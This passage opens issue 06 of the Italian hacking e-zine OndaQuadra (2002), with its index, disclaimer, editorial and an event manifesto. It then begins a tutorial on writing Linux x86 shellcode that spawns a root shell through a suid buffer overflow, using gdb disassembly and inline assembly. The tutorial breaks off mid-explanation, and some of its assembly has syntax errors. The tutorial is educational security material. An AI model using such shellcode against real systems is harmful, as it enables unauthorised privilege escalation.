Copy Link
Add to Bookmark
Report

OndaQuadra 06

eZine's profile picture
Published in 
OndaQuadra
 · 26 Apr 2019

  

::::::::::::::,. ..,::::::::::::::::::::::::::::::::::::::::::::::::::::::
::::::::::, ,::::::::,,,,,:::::::::::::,. .,::::,. ,:::
:::::::, h@@@@@@@@@r .::::, ,::::::::. :@@@@; ,:. s@@@M,:::
:::::, @@@@GX@@@@@@@@@, .::. #@@@@@@r ,:::::, S@@@ .@@@ :@@@2..,.:::
::::. @@@B ,@@@@@@@; ,:.@@@@@@@@@@@. ,:::: A@@. r@@. @@@ .::::
:::. i@@@H ,:::. @@@@@@@ .: ;, X@@@@@@@@ :::, 2@@, . @@@ @@@hH@@X ,:::
::, ;@@@@; ,:::::. :@@@@@@ .:,. A@@@@@@@@G ,:: @@G ., :@@s X@@@s @@@r.:::
::. @@@@@3 :::::: @@@@@2 ,::: @@@@@@@@@@ :: S@@. . @@@ @@X @@@..:::
:: .@@@@@@r ,,,. @@@@, ::: @@@@@@@@@@@r , ;@@, @@@ :@@2 @@@: ,:::
::. @@@@@@@@, @@@; .::, ;@@@@@@@@@@@@; s@@@@@@ . ,@@@@@@s .::::
::, .@@@@@@@@@@@@@@@ ,:, G@@@@@@@@@@@@@@@@i ,::. ,:::::
:::. .@@@@@@@@@@@, .:::, 9@@@@@@@@@@@@@@@@@@@@@. ,::::::::::::::::::::::
::::, S33i. .,::::: @@@@@@@@@@@@@@@@@@@@@@@@i ,:::::::::::::::::::::
::::::,. ,::: S@@@@@@@@@@@@@@@@@@@@@@@@@# ,:::::::::::::::::::
::::::, .G@@@@@@&, ,, A@@@@@@@@@@@@@@@@@@@@@@@@@@@2 .::::::::::::::::::
:::, @@@@@@@@@@@@@@ . B@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. .:::::::::::::::::
::. S@@@ s@@@@@@@: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@r .::::::::::::::::
:. .@@@G ,::, @@@@@@@ . @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@. ,:::::::::::::::
: ,@@@@ ::::::. :@@@@@@ ,, s@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ .:::::::::::::::
. @@@@@ ::::::: A@@@@# ,:, @@@@@@@@@@@@@@@@@@@@@@@@@@@@X.:::::::::::::::
.@@@@@r ,::::: @@@@H ::::. @@@@@@@@@@@@@@@@@@@@@@@@@@2 .:::::::::::::::
..@@@@@@i 3@@@, ,::::, &@@@@@@@@@@@@@@@@@@@@@@@@@@, ,:::::::::::::::
, @@@@@@@@@r. :#@@@. .::::::, :@@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::::
: s@@@@@@@@@@@@X .::::::,,, @@@@@@@@@@@@@@@@@@@@@@@@@@@ ,:::::::::::::::
:,. .@H .,,:::. s@@; X :@@@@@@@@@@@@@@@@@@3 ,:::::::::::::::
:::. r@@@@@@@X: @@@@@@@@@@ s :@B#@@@@@@@@@@@@@@@r .:::::::::::::::
::::@@@@@@@@@@@@@@@@@@A; : r3@@@r3S@@@@@@@@@@@@@@ .::::::::::::::
:::. .2@@@@@@@@@@@@@@@@X. ;5.@@@@@@@@@@@@@@@; ,::::::,..,:::
::::,,.. i@@@@@@@@@@@@@@@@Mr :@@@@@@@@@@@@@@@;,::,. .r.:::
:::::::::::::,. h@@@@@@@@@@@@@@@@@Mr @@@@@@@@S .9@@@H,:::
:::::::::::::::::,, ;B@@@@@@@@@@@@@@@@@3; i@@@@@@r ,:::
:::::::::::::::::::::::,. ;H@@@@@@@@@@@@@@@@@@@@@@@@@@@@@i .,:::::
::::::::::::::::::::::::::::,,. .:sh#@@@@@##Ah3i:. ,::::::::::
:::::::::::::::::::::::::::::::::::,. .,,:::::::::::::::
::::::::::::::::::::::::::::::::::::::,,................,,::::::::::::::::::


+--------------------------------------------------------------------------+
| ONDAQUADRA #06 - 25/04/2002 |
+--------------------------------------------------------------------------+
| Tutto nel ciberspazio |
| E' scandito dalla squarewave |
| Dei micro-processori |
| Il clock dei micro |
| E' come |
| Un battito cardiaco |
| Elettronico... |
+--------------------------------------------------------------------------+
| http://ondaquadra.cjb.net |
| mail@ondaquadra.cjb.net ~ articoli@ondaquadra.cjb.net |
+--------------------------------------------------------------------------+

<-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| LEGAL DISCLAIMER |
+--------------------------------------------------------------------------+
| |
| Nessuna persona dello staff di OndaQuadra si assume responsibilita' |
| per l'uso improprio dell'utilizzo dei testi e dei programmi presenti |
| nella e-zine, ne' per danni a terzi derivanti da esso. |
| OndaQuadra non contravviene in alcun modo alle aggiunte/modificazioni |
| effettuate con la legge 23 dicembre 1993, n.547 ed in particolare |
| agli artt. 615-quater- e 615-quinques-. |
| Lo scopo di OndaQuadra e' solo quello di spiegare quali sono e come |
| avvengono le tecniche di intrusione al fine di far comprendere come |
| sia possibile difendersi da esse, rendere piu' sicura la propria box e |
| in generale approfondire le proprie conoscenze in campo informatico. |
| I programmi allegati sono semplici esempi di programmazione che hanno |
| il solo scopo di permettere una migliore comprensione di quanto |
| discusso e spiegato nei testi. |
| Non e' soggetta peraltro agli obblighi imposti dalla legge 7 marzo 2001, |
| n. 62 in quanto non diffusa al pubblico con "periodicita' regolare" ex |
| art. 1 e pertanto non inclusa nella previsione dell'art.5 della legge |
| 8 febbraio 1948, n.47. |
| |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| COSTITUZIONE DELLA REPUBBLICA ITALIANA |
+--------------------------------------------------------------------------+
| Diritti e doveri dei cittadini: Rapporti civili |
| |
| Articolo 21 |
| Tutti hanno diritto di manifestare liberamente il proprio pensiero |
| con la parola, lo scritto e ogni altro mezzo di diffusione. [...] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| INDICE |
+--------------------------------------------------------------------------+
| [L0GiN] |
| 0x01 iNTR0 AL NUMER0 06 ................................... [oq ~ staff] |
| 0x02 ViSi0NARi ............................................ [oq ~ staff] |
| 0x03 iPSE DiXiT ........................................... [oq ~ staff] |
| 0x04 F3C0D&FUN ............................................. [Cornelius] |
+--------------------------------------------------------------------------+
| [HACKiNG] |
| 0x05 GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG ......... [trtms] |
| 0x06 DNS SP00F ATTACK ........................................... [E4zy] |
+--------------------------------------------------------------------------+
| [NETW0RKiNG] |
| 0x07 FiREWALKiNG ................................................ [E4zy] |
| 0x08 NMAP .................................................. [ADvAnCeD'] |
+--------------------------------------------------------------------------+
| [LiNUX] |
| 0x09 iN SHELL WE TRUST - PARTE 2 .............................. [lesion] |
| 0x0A TCP/iP & SOCKET iN LiNUX ................................ [SNHYPER] |
| 0x0B LA LUNGA ST0RiA DELL'EXPL0iT DEL DEM0NE RPC.STATD ......... [xyzzy] |
+--------------------------------------------------------------------------+
| [C0DiNG] |
| 0x0C C0RS0 Di C [PARTE QUARTA] .......................... [AndreaGeddon] |
| 0x0D 0S FR0M ZER0 CHAPTER 3 ...................... [Alexander The Great] |
+--------------------------------------------------------------------------+
| [MiSC] |
| 0x0E CAPiRE E PREVENiRE GLi ATTACCHi: SQL iNJECTi0N .......... [SHNYPER] |
| 0x0F 0PERAT0Ri L0GiCi E NUMERAZi0NE ESADECiMALE ................ [CiLi0] |
| 0x10 FiLESERVER BUG ................................. [^_][ice][man][_^] |
| 0x11 PR0GRAMMARE LE RAW S0CKET (TRADUZi0NE) ............. [XpTerminator] |
| 0x12 USELESS NETBSD M0DULE ................................... [_beb0s_] |
| 0x13 iL BUG DEL UPNP ............................................. [e4m] |
| 0x14 WiN2000 B00TSECT0R REVERSiNG (VERSi0NE FAT 32) ............. [albe] |
+--------------------------------------------------------------------------+
| [LO SCiAMANO] |
| 0x15 G0VNET - LA RETE DEL G0VERN0 ................... [MightyInquisitor] |
| 0x16 FREAKNET MEDiALAB: DESTiNAT0 ALLA CHiUSURA? ........ [Alcatraz2100] |
| 0x17 LA N0RMATiVA iTALiANA RiGUARD0 i CRiMiNi .......................... |
| iNF0RMATiCi..................................... [MigthyInquisitor] |
+--------------------------------------------------------------------------+
| [L'APPRENDiSTA STREG0NE] |
| 0x18 GUiDA SUL MiRC SCRiPTiNG [PARTE QUARTA] ......... [[]_CyBeRPuNK_[]] |
| 0x19 C0DiCE iNVERS0: CRiTT0GRAFiA DiGiTALE AVANZATA PARTE 3 ..... [zer0] |
| 0x1A ASSEMBLY? N0 GRAZiE N0N FUM0 [V0LUME I] .................... [e4m] |
| 0x1B iNSTALLAZi0NE Di APACHE, PHP, MYSQL PER WiN32 ........ [DiRtYdoZeN] |
+--------------------------------------------------------------------------+
| [SHUTD0WN] |
| 0x1C "L'ETiCA HACKER" Di PEKKA HiMANEN ......................... [bubbo] |
+--------------------------------------------------------------------------+
| [C0NTATTi] |
| 0x1D D0VE TR0VARCi ........................................ [oq ~ staff] |
+--------------------------------------------------------------------------+
| [ALLEGATi] |
| 0x01 LC.ZIP ...................................... [Alexander The Great] |
| 0x02 S0CKET.ZIP .............................................. [SHNYPER] |
| 0x03 G0VNET_0RiGiNAL.TXT ............................ [MightyInquisitor] |
| 0x04 REGiSTRAT0RE.ZIP ............................... [^_][ice][man][_^] |
| 0x05 SECURiTY iNF0 ............................................... [e4m] |
+--------------------------------------------------------------------------+

<--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-->

+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| iNTR0 AL NUMER0 06 [oq ~ staff] 0x01/0x1D |
+--------------------------------------------------------------------------+
| Pronti, partenza, via! |
| Eccoci qui, un altra puntata entusiasmante di quello che e' il nostro |
| progetto, OndaQuadra. |
| Prima di cominciare con il solito intro noioso volevo porgere le mie |
| (nostre) scuse a tutti i lettori per due motivi. |
| Il primo, e di questo la colpa e' in gran parte mia, e' il grande |
| lasso di tempo che ha diviso questo numero 06 dallo scorso. |
| Putroppo per impegni vari, sia io che gli altri autori non siamo |
| riusciti a fare prima, sorry! |
| (A dire la verita' si sarebbe potuto far prima, se si doveva stare ad |
| aspettare soltanto gli autori, ma qui scatta la mia parte di colpa, |
| che pero' e' scusata dal fatto che ho lavorato come uno schiavo per un |
| bel periodo). |
| Il secondo motivo e' il tanto annunciato portale di OndaQuadra, che |
| sempre per motivi "tecnici" (impegni nella real-life), non e' ancora |
| giunto al termine. |
| Chiusa la parentesi riguardante le scuse voglio cominciare con |
| illustrare un po' questo nuovo numero. |
| Non cito tutti gli articoli presenti perche' non ne vale la pena, |
| visto che appena sopra di questo editoriale c'e' un indice che e' |
| fatto apposta per questo, ma mi limitero' a citare quegli articoli che |
| sembra abbiano riscontrato piu' successo tra i lettori. |
| Siamo giunti alla terza puntata dell'articolo di Alexander the Great |
| su come costruire un sistema operativo (0S FR0M CHAPTER 3) e per |
| rendere felici tutti gli interessati abbiamo allegato i sorgenti del |
| kernel sviluppato da Alex. |
| Una nota di riguardo va per il mio corso di C, che purtroppo (sempre |
| per i motivi di cui sopra) da questo numero non curero' piu' io, ma |
| sara' curato da Andrea Geddon, sempre semplice, sempre intuitivo, e |
| probabilmente anche piu' dettagliato dei corsi passati. |
| Con questo numero congediamo anche gli articoli di CyBeRPuNK |
| riguardanti il MiRC scripting, che ci hanno tenuto compagnia per ben 4 |
| numeri. |
| Sinceramente non saprei quali altri articoli scegliere da |
| "pubblicizzare" in quest'intro, anceh perche' se mi mettessi ad |
| elencare tutti gli articoli che sono presenti questo editoriale |
| diventerebbe lungo quasi quanto la rivista. |
| Un ultima nota di rilievo (solo come cronologia, non come importanza) |
| la voglio dare alla manifestazione che si terra' il 15 e 16 Giugno a |
| Piedimonte Matese (CE), una manifestazione molto interessante |
| sull'open source e il retro computing (per maggioni informazioni |
| vedere l'articolo 0x03). |
| Ah, quasi dimenticavo, un'altra cosa, prometto che e' l'ultima poi me |
| ne vado a nanna e chiudo quest'editoriale. |
| ;P |
| Ne "L0 SCiAMAN0" c'e' un'articolo scritto da uno degli organizzatori |
| dell'hackmeeting 01 che si e' svolto al FreakNet di Catania, un |
| appello per... beh, leggetelo da soli :)) |
| Passo e chiudo |
| Vi auguro una buona lettura, sperando che tutto il resto del numero |
| risulti un pochino piu' in italiano di questo editoriale che (mi |
| dispiace ma me ne sono accorto ora che ho finito di scriverlo e non ho |
| voglia di ricominciare da capo) fa davvero schifo. |
| Alla prossima gente. |
| See ya |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| ViSi0NARi 0x02/0x1D |
+--------------------------------------------------------------------------+
| |
|"Ogni Uomo e' una Stella: fai cio' che Vuoi" |
|(Aleister Crowley) |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| iPSE DiXiT 0x03/0x1D |
+--------------------------------------------------------------------------+
| |
| "La risata e` la perdita momentanea del controllo delle proprie |
| emozioni"
|
| MightyInquisitor |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [L0GiN] #06 - 25/04/2002 |
| F3C0D&FUN [Cornelius] 0x04/0x1D |
+--------------------------------------------------------------------------+
| *********************************************************** |
| Manifesto - F3COD&FUN - Prima edizione 2002 - |
| Open Source Hacking Party and Retro Computing Fun |
| [ http://www.f3codandfun.org ] |
| *********************************************************** |
| |
| Quando nel lontanissimo 1981 acquistai con i miei risparmi un |
| computer Commodore VIC 20 usato, fu per me un momento magico, in- |
| dimenticabile. Avevo +/- 15 anni ma ricordo ancora benissimo le |
| sensazioni interiori ed intellettuali che suscito' in me quel |
| primo computer. E' difficile descrivere le sensazioni che provai |
| in quei momenti in cui corsi subito a casa per accenderlo, era |
| qualcosa di metafisico. Non conoscevo nulla di computer, di |
| byte, di CPU, di software. Avevo solo un'incontenibile forza in- |
| teriore di imparare tutto e presto. Divorai il manuale utente |
| come fosse una questione di vita o di morte iniziando subito |
| a scrivere i primi programmi in BASIC e qualche anno dopo in as- |
| sembler. |
| |
| Tutto ebbe inizio con quel piccolo, grande computer... Il VIC20! |
| Dopo ne vennero molti altri, sempre + potenti e costosi... Sem- |
| brava che una specie di aureola spirituale/tecnologica fosse |
| scesa su di me nel 1981, e da allora non mi ha + abbandonato. |
| |
| L'informatica e l'elettronica divennero x me il pane quotidiano e |
| quell'aureola misteriosa che sentivo sempre presente dentro di me |
| mi spingeva misteriosamente ad imparare sempre +, sempre +...... |
| Iniziai a pensare seriamente che io fossi afflitto da qualche |
| forma strana di anomalia comportamentale, o cose di questo |
| tipo... |
| |
| ma col passare del tempo scoprii con gioia e stupore che io non |
| ero il solo a possedere quella cosiddetta "Anomalia tecnologi- |
| ca"
, ma anche altri ragazzi come me la possedevano. Allora |
| iniziammo istintivamente a stringerci culturalmente insieme in |
| una sorta di club dove poterci scambiare opinioni, idee, aiuti |
| e programmi. |
| |
| Era semplicemente fantastica l'aria che si respirava in quei |
| pomeriggi dove si parlava solo e semplicemente di computer e di |
| software... |
| |
| Accadde poi un fatto che segno' per sempre la nostra visione |
| delle cose e dell'informatica... si apri' davanti a noi la strada |
| di un mondo unico, affascinante, virtuale, incantato ed ines- |
| plorato... Il mondo della telematica delle prime BBS che a meta' |
| degli anni 80 spuntarono come funghi digitali. Fu il mitico film |
| "War Games" che uscendo nel 1983, fece letteralmente esplodere il |
| gia' rovente ambiente... e tutti ci facemmo regalare per natale |
| un modem... Il resto e' storia... |
| |
| Ognuno di noi divenne poi un vero esperto: chi all'Universi- |
| ta', chi presso aziende di Telecomunicazioni, chi presso |
| Software House, chi giornalista tecnico, ecc. Di tanto in tanto |
| ci capita di ritornare con la mente a quei romantici e magi- |
| ci momenti di informatica pioneristica e spensierata che hanno |
| svezzato i nostri cuori tecnologici... |
| |
| Col passare del tempo pero' ognuno di noi quasi dimentico' |
| quegl'anni mitici, relegandoli e chiudendoli nel cuore... In- |
| iziammo pero' tutti noi, indifferentemente e autonomamente a |
| scontrarci giornalmente con la contorta realta' delle aziende in |
| cui ci trovavamo a lavorare... Ci scontravamo (e tuttora ci |
| scontriamo) con i monopoli, le forme di controllo, i software |
| progettati male, la burocrazia tecnica che affossa le idee e |
| l'ingegno in favore di soluzioni costose ed inefficienti di |
| aziende che dettate da fredde regole di marketing puntano es- |
| clusivamente al profitto ed all'inganno... |
| |
| Tutta quella magia e quell'energia positiva (un'energia che |
| ci spingeva negli anni 80 fraternamente a studiare e smontare |
| per cercare di capire come funzionano le cose) che noi credevamo |
| quasi perduta, ci rendemmo conto un giorno che non si era x nulla |
| dispersa... |
| |
| Anzi al contrario scoprimmo che altri individui della nostra |
| stessa specie generazionale come Richard Stallman, Eric Ray- |
| mond, Linus Torvalds e tanti altri con coraggio, sacrificio e |
| forza lottarono per fare in modo che concetti poetici come lo |
| studio, la codivisione delle idee e la liberta' fossero i buoi |
| trainanti di quel carro che poi diventera' in seguito la grande |
| scuola di pensiero del "Free Software" e della filosofia |
| "Open Source"... |
| |
| Oggi siamo certi che quella magia misteriosa che respiravamo |
| negli anni 80 risiede completamente e pienamente nella filosofia |
| software dello sviluppo Open Source e del Free Software :-)) |
| |
| Ecco allora che la manifestazione F3COD&FUN (si legge free cod |
| and fun e che significa scrivi e/o condividi codice libero e di- |
| vertiti nel farlo), il cui nome sintetizza appunto questa forma |
| di energia intellettuale, servira' per creare due giorni di in- |
| tensa festa (appunto party), di incontro, di scambio spensierato |
| di idee ed opinioni, di programmi, di ribellione, di amicizia, |
| di utopia, e di tutto quanto possa servire ad arricchire tecnica- |
| mente e culturalmente chiunque lo desideri... |
| |
| Ritorneremo a respirare quell'area mistica, incantata dei club |
| di hackers degli anni 80 dove tutto dal bullone al chip, dal |
| floppy al software di sistema, fino alle riviste culto come "pa- |
| per soft"
contribuiva ad arricchire il nostro know-how e la nos- |
| tra sete di conoscenza. |
| |
| Al F3COD&FUN non ci saranno copioni convenzionali, linee guida da |
| seguire, rigide regole comportamentali, saremo tutti liberi di |
| navigare, programmare, assemblare, installare, smontare, giocare, |
| bere birra, mostrare ai neofiti la bellezza ed affidabilita' di |
| un sistema aperto e non controllato da ingorde multinazionali, o |
| semplicemente mangiare un panino con la salsiccia davanti ad |
| un'intramontabile PacMac su Apple II, potremo condividere pezzi |
| di software e pezzi di hardware, barattare schede elettroniche o |
| schemi elettrici... |
| |
| Si ammireranno e si ritoccheranno le mitiche macchine che |
| hanno segnato x sempre l'informatica mondiale e che hanno cullato |
| i nostri cuori tecnologici... Sara' un tuffarsi nel futuro con la |
| filosofia Open Source ma sara' anche un tuffo nel romantico pas- |
| sato con il retro computing per ricordare a tutti che non e' af- |
| fatto necessario possedere un computer super pompato per di- |
| ventare esperti, ma basterebbe anche un modesto computer a 8 |
| bit... Ed a tal proposito vedremo demos grafici su C64 scritti |
| in puro assembler che in soli 30 Kb di RAM e con un clock macchi- |
| na di 1 Mhz fare cose incredibili. |
| |
| Rivivremo al F3COD&FUN tutti insieme le nostre radici tecno- |
| logiche. |
| |
| Se ritieni giusto, romantico, importante, utile o chissa' che |
| cosa questo manifesto allora sei il benvenuto... Porta il tuo |
| sistema Open Source alla manifestazione, o il tuo sistema obsole- |
| to che tutti dicono sorpassato e vivrai con noi un'esperienza |
| unica ed indimenticabile. |
| |
| E che l'hacking sia con voi :-) |
| |
| Cornelius (organizzatore della prima edizione del F3COD&FUN) |
| |
+--------------------------------------------------------------------------+


+--------------------------------------------------------------------------+
| ONDAQUADRA ~ [HACKiNG] #06 - 25/04/2002 |
| GH0ST iN THE SHELL: iNTR0DUZi0NE ALL0 SHELLC0DiNG [trtms] 0x05/0x1D |
+--------------------------------------------------------------------------+
| |
| ================================================= |
| |
| 1. Introduzione |
| 1.1 Requisiti |
| |
| 2. Buffer overflow |
| |
| 3. Ghost in the shell |
| 3.1 Strumenti & fini |
| 3.2 Rootshell |
| |
| 4. Shellcoding |
| 4.1 (X)ora et (e)labora |
| 4.2 La Via della Mano Destra |
| |
| 5. Conclusione |
| |
| 6. Fonti |
| |
| |
| 1. Introduzione |
| ------------------------------------------------------------------------ |
| Il fine di questo articolo e' quello di aiutare a comprendere i |
| meccanismi che si nascondono dietro gli shellcode e stimolare il |
| lettore ad approfondire il tema, aiutandolo a raggiungere l'abilita' |
| di scrivere shellcode autonomamente. |
| |
| Credo che questa sia la prima guida in italiano esclusivamente |
| dedicata allo shellcoding. Spero sia utile a chi sia avvicina al mondo |
| della sicurezza; a chi ha un sistema da "difendere" e vuole |
| comprendere meglio le tecniche di attacco dei cracker; a chi vuole |
| abbandorare il lameraggio e avviarsi verso il rutilante mondo degli |
| 0days, |
| lameraggio d'elite... :D |
| |
| |
| 1.1 Requisiti |
| -------------- |
| |
| |
| |
| 2. Buffer overflow |
| ------------------------------------------------------------------------ |
| Non mi soffermo sul buffer overflow. Esistono testi in italiano che |
| hanno parlato del buffer overflow (vedere i vecchi numeri di BFi); chi |
| conosce l'inglese puo' trovare nella bibliografia i riferimenti |
| necessari. |
| |
| Qui voglio solo ricordare che lo shellcode viene generalmente inserito |
| nello stack tramite funzioni di copia delle stringhe (es. strcpy); |
| questa funzione prevede che la fine della stringa sia identificata dal |
| carattere 0, quindi lo shellcode non puo' contenrere questo carattere. |
| |
| In questa sede naturalmente si parla dei casi basilari, necessari per |
| spiegare i concetti. Non si parla di heap, overflow da un byte, di |
| shellcode polimorfiche e nemmeno di |
| |
| contromisure contro gli IDS: credo sia gia' abbastanza complicato |
| cosi' per chi deve capire il meccanismo. |
| |
| Ricordo solo che se vogliamo ottenere una root shell, dobbiamo |
| attaccare un programma che giri con i privilegi di root e sia |
| accessibile anche da un utente normale (suid). |
| |
| |
| 3. Ghost in the shell |
| ------------------------------------------------------------------------ |
| |
| 3.1 Strumenti & fini |
| -------------------- |
| In questa sede si parlera' di shellcode x86 su piattaforma Linux; il |
| lettore deve essere in grado di compilare programmi con gcc e deve |
| conoscere (anche in modo superficiale) gdb. |
| Realizzeremo uno shellcode classico: l'esecuzione di sh come root |
| partendo dai privilegi di utente. |
| |
| |
| 3.2 Rootshell |
| --------------- |
| T |
| void main(){ |
| char *sh[2]; |
| sh[0]="/bin/sh"; |
| sh[1]=0; |
| execve(sh[0],sh,0); |
| } |
| |
| TA noi basta sapere che necessita di tre parametri: |
| 1. la stringa che contiene il comando da eseguire |
| 2. puntatore a un array contenente i parametri da passare (per noi 0) |
| 3. i parametri di ambiente (per noi nulli). |
| |
| Compiliamo il programmino con -static e poi lanciamo gdb: |
| |
| gcc shell.c -o shell -static |
| gdb shell |
| |
| quindi andiamo a vedere cosa fa la funzione execve: |
| |
| (gdb) disas execve |
| |
| Dump of assembler code for function __execve: |
| 0x804cfdc <__execve>: push %ebp |
| 0x804cfdd <__execve+1>: mov $0x0,%eax |
| 0x804cfe2 <__execve+6>: mov %esp,%ebp |
| 0x804cfe4 <__execve+8>: sub $0x10,%esp |
| 0x804cfe7 <__execve+11>: push %edi |
| 0x804cfe8 <__execve+12>: push %ebx |
| 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi |
| 0x804cfec <__execve+16>: test %eax,%eax |
| 0x804cfee <__execve+18>: je 0x804cff5 <__execve+25> |
| 0x804cff0 <__execve+20>: call 0x0 |
| 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx |
| 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx |
| 0x804cffb <__execve+31>: push %ebx |
| 0x804cffc <__execve+32>: mov %edi,%ebx |
| 0x804cffe <__execve+34>: mov $0xb,%eax |
| 0x804d003 <__execve+39>: int $0x80 |
| |
| |
| a noi interessano in particolar modo queste linee: |
| |
| 0x804cfe9 <__execve+13>: mov 0x8(%ebp),%edi |
| |
| dove il primo parametro della funzione (l'indirizzo della |
| stringa "/bin/sh" viene posto in edi |
| |
| e |
| |
| 0x804cff5 <__execve+25>: mov 0xc(%ebp),%ecx |
| 0x804cff8 <__execve+28>: mov 0x10(%ebp),%edx |
| 0x804cffb <__execve+31>: push %ebx |
| 0x804cffc <__execve+32>: mov %edi,%ebx |
| 0x804cffe <__execve+34>: mov $0xb,%eax |
| 0x804d003 <__execve+39>: int $0x80 |
| |
| dove il secondo parametro (l'indirizzo di sh) viene posto in ecx |
| (mov 0xc(%ebp),%ecx), |
| il terzo parametro (NULL) in edx (0x10(%ebp),%edx). |
| Quindi viene chiamata la execve (codice $0xb): |
| |
| 0x804cffe <__execve+34>: mov $0xb,%eax |
| 0x804d003 <__execve+39>: int $0x80 |
| |
| Questo e' quello che dovra' fare il nostro shellcode: passare i tre |
| parametri e quindi chiamare execve. |
| |
| |
| 3.3 L'indirizzo misterioso |
| --------------------------- |
| Problema. Noi dovremo inserire il nostro codice sullo stack, e non |
| conosceremo a priori gli indirizzi dove il codice stesso si verra' a |
| trovare. Visto che noi dobbiamo passare dei parametri alla funzione, |
| dobbiamo conoscere almeno l'indirizzo dove poter trovare questi |
| parametri. E allora ? Ci serve un espediente per trovare questo |
| indirizzo. |
| |
| Semplice. Metteremo la stringa alla fine del codice, quindi |
| utilizzeremo una jmp e una call. Per capire bene cosa stiamo per fare |
| occorre rispolverare un po' di assembler. L'istruzione "jmp" (jump) |
| che utilizzeremo fa "saltare" il codice all'indirizzo specificato. |
| Anzi, in realta' in questo caso il parametro fornito sara' un offset, |
| ovvero un valore che rappresenta la distanza in byte dall'indirizzo di |
| destinazione. |
| |
| La "call" e' diversa; si tratta infatti di una chiamata ad una |
| subroutine. Quando viene eseguita una call, l'indirizzo immediatamente |
| successivo alla call stessa viene salvato sullo stack. Per esempio, se |
| la call si trova a questo ipotetico indirizzo: |
| |
| 0x804cff0 call vaidaqualcheparte |
| 0x804cff5 ... |
| |
| sullo stack troveremo l'indirizzo 0x804cff5. |
| |
| Ora tutto dovrebbe essere piu' chiaro. Mettendo all'inizio della |
| nostra shellcode un jmp alla fine della codice, facendolo puntare alla |
| call (che richiamera' l'inizio del codice), provocheremo il |
| salvataggio dell'indirizzo successivo alla call; se noi dopo la call |
| metteremo la nostra stringa, l'indirizzo stesso della stringa si |
| trovera' sullo stack e potra' essere comodamente recuperato con una |
| semplice istruzione "popl". |
| |
| ovvero: |
| |
| jmp finecodice ; salta a fine codice |
| inizio: ; label di inizio codice |
| popl esi ; preleva eip dallo stack |
| ...\ |
| ... shellcode ; corpo dello shellcode |
| .../ |
| finedocie: ; label di fine codice |
| call inizio ; la call provoca il salvataggio di eip sullo stack, |
| ovvero l'indirizzo |
| ; della nostra stringa |
| .stringa "/bin/sh" : la stringa da passare a execve |
| |
| il codice parte, salta a "finecodice:", esegue la call: l'indirizzo |
| della stringa viene salvato sullo stack. La call porta il flusso del |
| programma a "inizio:" dove l'istruzione popl recupera l'indirizzo |
| della stringa. Abbiamo tutto quello che ci serve, possiamo proseguire. |
| |
| |
| 4. Shellcoding |
| ------------------------------------------------------------------------ |
| Ora diamo uno sguardo a come si presentera' il nostro codice in |
| assembler: |
| |
| shell1.c |
| void main(){ |
| __asm__("jmp fine: \n" |
| "inizio: popl %esi \n" |
| "movl %esi,0x8(%esi) \n" |
| "movl $0x0,0xc(%esi) \n" |
| "movb $0x0,0x7(%esi) \n" |
| "movl %esi,%ebx \n" |
| "leal %0x8(%esi),%ecx \n" |
| "leal %0xc(%esi),%edx \n" |
| "movl $0xb,%eax \n" |
| "int $0x80 \n" |
| "fine: call inizio: \n" |
| " .string \"/bin/sh\" \n"); |
| } |
| |
| |
| Viene impostata la label "inizio:" che servira' alla call, quindi |
| dopo la popl %esi, esi stesso conterra' l'indirizzo della stringa. |
| |
| __asm__("inizio: jmp fine: \n" |
| "popl %esi \n" |
| |
| dobbiamo sistemare i parametri. Copiamo l'indirizzo della stringa |
| nel secondo parametro |
| |
| "movl %esi,0x8(%esi) \n" |
| |
| mettiamo uno zero nel terzo |
| |
| "movl $0x0,0xc(%esi) \n" |
| |
| e mettiamo zero alla fine della nostra stringa, carattere di fine |
| stringa |
| |
| "movb $0x0,0x7(%esi) \n" |
| |
| quindi passiamo gli indirizzi dei parametri nei registri dove execve |
| si aspetta di trovarli... (ebx,ecx,edx) |
| |
| "movl %esi,%ebx \n" |
| "leal %0x8(%esi),%ecx \n" |
| "leal %0xc(%esi),%edx \n" |
| |
| si esegue la chiamata a execve |
| |
| "movl $0xb,%eax \n" |
| "int $0x80 \n" |
| "fine: call inizio: \n" |
| " .string \"/bin/sh\" \n"); |
| } |
| |
| e ci troviamo root :) |
| |
| |
| 4.1 (X)ora et (e)labora |
| ------------------- |
| Benche' la cosa possa sembrare gia' abbastanza complicata, i problemi |
| non sono ancora finiti :) Infatti, se compiliamo il codice appena |
| presentato, troveremo degli zeri all'interno dello shellcode, e questo |
| (vedi paragrafo[2]) non va bene. |
| |
| Lanciamo gdb shell1 |
| |
| Copyright 2000 Free Software Foundation, Inc. |
| GDB is free software, covered by the GNU General Public License, and |
| you are welcome to change it and/or distribute copies of it under |
| certain conditions. |
| Type "show copying" to see the conditions. There is absolutely no |
| warranty for GDB. Type "show warranty" for details. This GDB was |
| configured as "i386-slackware-linux"... |
| (gdb) x/bx main+3 (saltiamo il preambolo che non ci serve) |
| 0x80483b7 <main+3>: 0xe9 |
| (gdb) |
